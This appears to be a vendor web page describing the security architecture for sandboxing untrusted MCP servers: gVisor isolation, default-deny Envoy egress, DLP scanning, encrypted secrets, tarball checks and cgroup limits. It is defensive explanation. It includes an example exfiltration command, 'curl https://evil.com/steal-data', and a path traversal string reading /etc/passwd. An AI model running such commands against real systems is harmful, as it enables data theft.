Skip to main content

Infrastructure Security

Sandbox Security Architecture

How we isolate untrusted code, scan for threats, and protect your infrastructure while running arbitrary MCP servers.

Risk Assessment

Threat Model

Sandbox execution addresses three core threat classes:

Untrusted Code Execution

Code uploaded by users may be buggy, malicious, or deliberately crafted to break out. No assumption of trustworthiness.

Data Exfiltration

Compromised or malicious servers could attempt to steal secrets, exfil PII, or leak training data via network requests.

Resource Exhaustion

Runaway processes (infinite loops, memory bombs) or DoS attacks could starve infrastructure or increase billing.

Kernel Isolation

gVisor: User-Space Kernel

What is gVisor?

gVisor is a user-space Linux kernel written in Go. Instead of containers calling the host kernel directly, they intercept syscalls through runsc (gVisor's runtime) and execute them in sandboxed user space. This creates an additional layer of isolation: even if the container breaks out of cgroups, it cannot reach the host kernel or escape to adjacent containers.

Syscall Interception

Every system call (open file, write memory, fork process) is intercepted and executed in user space, never directly on the host kernel.

Read-Only Rootfs

Container's root filesystem is read-only. Any write attempt fails. /tmp and /var are ephemeral.

No Host Access

Container cannot see the host filesystem, host processes, or host network. Completely isolated view.

gVisor Overhead

~5–15% performance cost compared to plain Docker, but gain is strong isolation. Acceptable for sandboxing threat model.

Egress Control

Network Security

Envoy Sidecar + Default-Deny Egress

Every sandbox container runs with an Envoy sidecar proxy. All outbound traffic is routed through Envoy before leaving the pod. The default policy is deny — only FQDNs explicitly whitelisted by the user can be reached.

Example: If your server tries to reach

curl https://evil.com/steal-data

Envoy rejects it → connection reset. Unless evil.com is in the allowlist.

FQDN Allowlist

Admin specifies up to 10 fully-qualified domain names. Wildcard subdomains (*.example.com) supported. Port restrictions available.

api.github.com
*.openai.com
internal.company.com:8080

No Localhost Bypass

Envoy blocks 127.0.0.1, ::1, and private ranges (10.0.0.0/8, 172.16.0.0/12). Server cannot reach host services or adjacent pods.

Ingress (inbound): Incoming connections to the sandbox are rejected. Sandbox cannot be scanned or probed from the network. Only the MCP endpoint at mcp.mistaike.ai/sandbox/{server-id}/mcp is accessible.

Content Inspection

DLP Scanning: Bidirectional

Every tool call through the sandbox endpoint is scanned by our full DLP pipeline. Content security protects both inbound (agent to server) and outbound (server to agent).

Inbound: Agent → Server

Catch secrets and PII the agent tries to pass as arguments:

  • • API keys in function arguments
  • • Database credentials
  • • Personal identifiers (SSN, email)
  • • Credit card numbers

Outbound: Server → Agent

Catch prompt injection and malicious content the server returns:

  • • Prompt injection payloads
  • • Malicious code in responses
  • • Exfiltrated data (secrets from server logs)
  • • Dangerous shell commands

Actions on Detection

Admin configures per-tool policies:

Block

Drop request entirely

Redact

Replace with [REDACTED]

Warn

Forward, log, alert

Log

Silent audit only

Credential Storage

Secret Management

AES-256-GCM Encryption

All secrets (API keys, database URIs) are encrypted with AES-256 in GCM mode, using the user's vault master key derived from their password.

Encryption happens on the client side. We never see plaintext secrets.

At Rest

Encrypted in database. Retrieved only when sandbox starts. Never logged or exposed in audit trails.

In Transit

Encrypted secrets injected as environment variables into the container. TLS 1.3 for API calls.

In Memory

Tmpfs mount with noexec. Secrets are never written to disk. Memory is wiped on container termination.

No .env files: Secrets are never written as environment files or config files. They exist only in memory, injected at runtime.

Supply Chain

Build Security

Tarball Validation

Uploaded tarballs are inspected for:

  • • Path traversal attacks (e.g., ../../../etc/passwd)
  • • Symbolic link escapes
  • • Hard link attacks
  • • Maximum extraction size limits

Dependency Scanning

requirements.txt is parsed and scanned via pip-audit. Blocks installation of packages with known CVEs.

pip-audit matches against GHSA, CVE, and PyPI vulnerability databases.

Container Image Build

Build happens in an isolated builder pod with network disabled. No outbound internet during build. All outputs verified.

Cgroup v2

Resource Limits & Enforcement

cgroup v2 enforces hard limits on CPU, memory, storage, and process counts. Runaway processes are automatically throttled or killed.

CPU Limiting

Proportional CPU shares. Server tier determines ceiling. If limit is exceeded, process is throttled (not killed).

Starter: 512 shares
Runtime: 2048 shares
Power: 4096 shares

Memory Limiting

Hard memory cap. OOMkill triggered if limit exceeded. Protects against memory bombs.

Starter: 512 MB
Runtime: 4 GB
Power: 8 GB

Storage Limiting

Ephemeral /tmp and /var have quotas. Write beyond limit fails. Disk exhaustion cannot affect host.

Starter: 5 GB
Runtime: 50 GB
Power: 100 GB

Process Limits

Max number of processes (PIDs). Fork bombs are stopped when limit is hit.

Starter: 64 PIDs
Runtime: 256 PIDs
Power: 512 PIDs

Lifecycle

Container Lifecycle & Destruction

Idle Timeout

Containers are destroyed after 5 minutes of inactivity (no tool calls). Frees resources and prevents lingering processes.

No Persistence

Containers are stateless. /tmp and /var are ephemeral tmpfs. On termination, all data is destroyed. No user data persists between runs.

Graceful Shutdown

When stopping: SIGTERM sent to main process. Waits 10 seconds for graceful shutdown. Then SIGKILL. All child processes are killed.

Audit trail: Logs are preserved. Stderr and stdout are captured and searchable. Container is destroyed but logs persist for 7–90 days depending on tier.

Dive Deeper

Ready to Deploy?

For deployment instructions and configuration, visit the Sandbox Setup Guide.